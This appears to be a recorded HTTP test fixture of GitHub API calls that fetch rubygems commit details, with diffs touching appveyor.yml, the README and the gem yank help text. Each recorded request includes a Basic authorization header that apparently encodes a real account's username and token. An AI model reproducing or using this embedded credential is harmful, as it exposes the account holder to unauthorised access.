- '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056126' X-Github-Request-Id: - A2DC:4D97:903AFA:1C4819A:5A50E479 body: encoding: ASCII-8BIT string: '{"sha":"7243d5461ce0230e7bfea38d2f3764a511b9ace3","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T00:20:01Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T00:20:01Z"},"message":"Auto merge of #2020 - MSP-Greg:av_trunk, r=segiddins\n\nChange trunk build from BinTray to Appveyor\n\n# Description:\n\nPreviously added trunk build to appveyor.yml. At the time, build was done locally and pushed to BinTray. Rolling trunk build (twice daily) is now done on Appveyor. Changed download URI in appveyor.yml to account for the change.\n\nAlso, since nothing is compiled with OpenSSL or GDBM, removed package download.\n\nTests passed on my fork.\n______________\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"0953d8e0c116bbde3cbd0711280017a954096874","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0953d8e0c116bbde3cbd0711280017a954096874"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","html_url":"https://github.com/rubygems/rubygems/commit/7243d5461ce0230e7bfea38d2f3764a511b9ace3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","url":"https://api.github.com/repos/rubygems/rubygems/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","html_url":"https://github.com/rubygems/rubygems/commit/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe"},{"sha":"0890467188a68650adb09b1dc12793efb5dd1619","url":"https://api.github.com/repos/rubygems/rubygems/commits/0890467188a68650adb09b1dc12793efb5dd1619","html_url":"https://github.com/rubygems/rubygems/commit/0890467188a68650adb09b1dc12793efb5dd1619"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"cb6856f0eb1745a12fceee47999b7a6990044891","filename":"appveyor.yml","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/7243d5461ce0230e7bfea38d2f3764a511b9ace3/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/7243d5461ce0230e7bfea38d2f3764a511b9ace3/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=7243d5461ce0230e7bfea38d2f3764a511b9ace3","patch":"@@ -10,8 +10,8 @@ clone_depth: 10\n init:\n - mklink /d C:\\git \"C:\\Program Files\\Git\"\n - if %ruby_version%==_trunk (\n- appveyor DownloadFile https://dl.bintray.com/msp-greg/ruby_windows/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n- 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk & C:\\ruby_trunk\\trunk_install.cmd )\n+ appveyor DownloadFile https://ci.appveyor.com/api/projects/MSP-Greg/ruby-loco/artifacts/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n+ 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk )\n \n environment:\n PATH: C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:09 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:09 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4425' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"86e7b28b56e967573a1b92808fc795fb" Last-Modified: - Thu, 05 Oct 2017 07:31:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045174' X-Github-Request-Id: - A2DE:4D95:F484F1:1C84514:5A50E479 body: encoding: ASCII-8BIT string: '{"sha":"6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:31:17Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:31:17Z"},"message":"Auto merge of #2018 - jdanford:fix-readme-formatting, r=segiddins\n\nFix formatting of installation instructions in README\n\n# Description:\nFixes formatting of installation instructions in README\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] ~~Write tests~~\n- [ ] ~~Write code to solve the problem~~\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"7ee0d1cf1b245505b612aeefb59a410bbb6bb29e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7ee0d1cf1b245505b612aeefb59a410bbb6bb29e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","html_url":"https://github.com/rubygems/rubygems/commit/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2367f36461917d27d542c108737ae0f8bdc418b0","url":"https://api.github.com/repos/rubygems/rubygems/commits/2367f36461917d27d542c108737ae0f8bdc418b0","html_url":"https://github.com/rubygems/rubygems/commit/2367f36461917d27d542c108737ae0f8bdc418b0"},{"sha":"23e0e4f6b29b8a8224542afa3fdb9405046a552a","url":"https://api.github.com/repos/rubygems/rubygems/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a","html_url":"https://github.com/rubygems/rubygems/commit/23e0e4f6b29b8a8224542afa3fdb9405046a552a"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"c4038a35bed93744277cf6226611033388f01be5","filename":"README.md","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe/README.md","raw_url":"https://github.com/rubygems/rubygems/raw/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe/README.md","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/README.md?ref=6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","patch":"@@ -19,9 +19,9 @@ See [UPGRADING](UPGRADING.rdoc) for more details and alternative instructions.\n \n If you don''t have RubyGems installed, you can still do it manually:\n \n-* Download from: https://rubygems.org/pages/download, unpack, and cd there\n-* OR clone this repository and cd there (make sure to run `git submodule update -\\-init`)\n-* Install with: ruby setup.rb # you may need admin/root privilege\n+* Download from https://rubygems.org/pages/download, unpack, and `cd` there\n+* OR clone this repository and `cd` there (make sure to run `git submodule update --init`)\n+* Install with `ruby setup.rb` (you may need admin/root privilege)\n \n For more details and other options, see:\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:09 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2367f36461917d27d542c108737ae0f8bdc418b0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:09 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4424' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"181bdc132c86745aab653a4cf346abcb" Last-Modified: - Thu, 05 Oct 2017 07:04:55 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046084' X-Github-Request-Id: - C5B0:4D95:F48507:1C84542:5A50E479 body: encoding: ASCII-8BIT string: '{"sha":"2367f36461917d27d542c108737ae0f8bdc418b0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:04:55Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:04:55Z"},"message":"Auto merge of #2015 - colby-swandale:colby/appveyor-ruby-trunk, r=olleolleolle\n\nallow failures for ruby trunk in appveyor\n\n Description:\n\nWe should allow build failures for trunk ruby in appveyor. This will let PRs that pass all released & supported versions of ruby to have green status builds and be merged more easily.\n\nSee #2009, #2010\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"8d84593a0eb064d444ed58bff008e9c0a3c78880","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8d84593a0eb064d444ed58bff008e9c0a3c78880"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2367f36461917d27d542c108737ae0f8bdc418b0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2367f36461917d27d542c108737ae0f8bdc418b0","html_url":"https://github.com/rubygems/rubygems/commit/2367f36461917d27d542c108737ae0f8bdc418b0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2367f36461917d27d542c108737ae0f8bdc418b0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d356ce76e731aa003d13bc59350a0819b929be8b","url":"https://api.github.com/repos/rubygems/rubygems/commits/d356ce76e731aa003d13bc59350a0819b929be8b","html_url":"https://github.com/rubygems/rubygems/commit/d356ce76e731aa003d13bc59350a0819b929be8b"},{"sha":"abada4bccca9b43536acf6090a0946f4e7a2ec30","url":"https://api.github.com/repos/rubygems/rubygems/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30","html_url":"https://github.com/rubygems/rubygems/commit/abada4bccca9b43536acf6090a0946f4e7a2ec30"}],"stats":{"total":4,"additions":4,"deletions":0},"files":[{"sha":"2c948f1d57a05ce15bb19bef4b4b406a64e309ab","filename":"appveyor.yml","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/2367f36461917d27d542c108737ae0f8bdc418b0/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/2367f36461917d27d542c108737ae0f8bdc418b0/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=2367f36461917d27d542c108737ae0f8bdc418b0","patch":"@@ -31,6 +31,10 @@ environment:\n - ruby_version: _trunk\n GIT: C:/git/cmd/git.exe\n \n+matrix:\n+ allow_failures:\n+ - ruby_version: _trunk\n+\n install:\n - ps: >-\n git submodule update --init --recursive"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:09 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d356ce76e731aa003d13bc59350a0819b929be8b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:09 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4423' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"1167baf2147623fa715f15bdf946f5e0" Last-Modified: - Wed, 04 Oct 2017 20:48:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.057447' X-Github-Request-Id: - A2E2:4D97:903B17:1C4820A:5A50E479 body: encoding: ASCII-8BIT string: '{"sha":"d356ce76e731aa003d13bc59350a0819b929be8b","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-04T20:48:15Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-04T20:48:15Z"},"message":"Auto merge of #2009 - rubygems:dwr-gem-yank-help, r=segiddins\n\nupdate gem yank description\n\nNow that gem yank permanently removes the gem we should not direct people to contact us to remove a gem.","tree":{"sha":"69c682f646e06379b6e5532993c4153e5613f37c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/69c682f646e06379b6e5532993c4153e5613f37c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d356ce76e731aa003d13bc59350a0819b929be8b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d356ce76e731aa003d13bc59350a0819b929be8b","html_url":"https://github.com/rubygems/rubygems/commit/d356ce76e731aa003d13bc59350a0819b929be8b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d356ce76e731aa003d13bc59350a0819b929be8b/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ed1564e0db30ab8c586d2869b58ddf900a5be1ea","url":"https://api.github.com/repos/rubygems/rubygems/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","html_url":"https://github.com/rubygems/rubygems/commit/ed1564e0db30ab8c586d2869b58ddf900a5be1ea"},{"sha":"17ba6f22829c4d94bbcc3c4680147449ca6e049f","url":"https://api.github.com/repos/rubygems/rubygems/commits/17ba6f22829c4d94bbcc3c4680147449ca6e049f","html_url":"https://github.com/rubygems/rubygems/commit/17ba6f22829c4d94bbcc3c4680147449ca6e049f"}],"stats":{"total":12,"additions":2,"deletions":10},"files":[{"sha":"ebf24e5c771e9f5f3c559c670c3d7b051d44fb9b","filename":"lib/rubygems/commands/yank_command.rb","status":"modified","additions":2,"deletions":10,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/d356ce76e731aa003d13bc59350a0819b929be8b/lib/rubygems/commands/yank_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d356ce76e731aa003d13bc59350a0819b929be8b/lib/rubygems/commands/yank_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/yank_command.rb?ref=d356ce76e731aa003d13bc59350a0819b929be8b","patch":"@@ -11,19 +11,11 @@ class Gem::Commands::YankCommand < Gem::Command\n \n def description # :nodoc:\n <<-EOF\n-The yank command removes a gem you pushed to a server from the server''s\n-index.\n-\n-Note that if you push a gem to rubygems.org the yank command does not\n-prevent other people from downloading the gem via the download link.\n+The yank command permanently removes a gem you pushed to a server.\n \n Once you have pushed a gem several downloads will happen automatically\n-via the webhooks. If you accidentally pushed passwords or other sensitive\n+via the webhooks. If you accidentally pushed passwords or other sensitive\n data you will need to change them immediately and yank your gem.\n-\n-If you are yanking a gem due to intellectual property reasons contact\n-http://help.rubygems.org for permanent removal. Be sure to mention this\n-as the reason for the removal request.\n EOF\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:09 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:10 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4422' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f949b50166f1589a93edfee5d1541fd9" Last-Modified: - Wed, 27 Sep 2017 00:56:50 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048293' X-Github-Request-Id: - A2E4:4D97:903B29:1C4824C:5A50E47A body: encoding: ASCII-8BIT string: '{"sha":"ed1564e0db30ab8c586d2869b58ddf900a5be1ea","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-27T00:56:50Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-27T00:56:50Z"},"message":"Auto merge of #2022 - parndt:patch-1, r=colby-swandale\n\nFix spelling of ''vulnerability''\n\nI noticed a typo in the history when it was printed in my terminal.\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"e40498794a3b4a10dc26c767b1780531010517c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e40498794a3b4a10dc26c767b1780531010517c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","html_url":"https://github.com/rubygems/rubygems/commit/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rub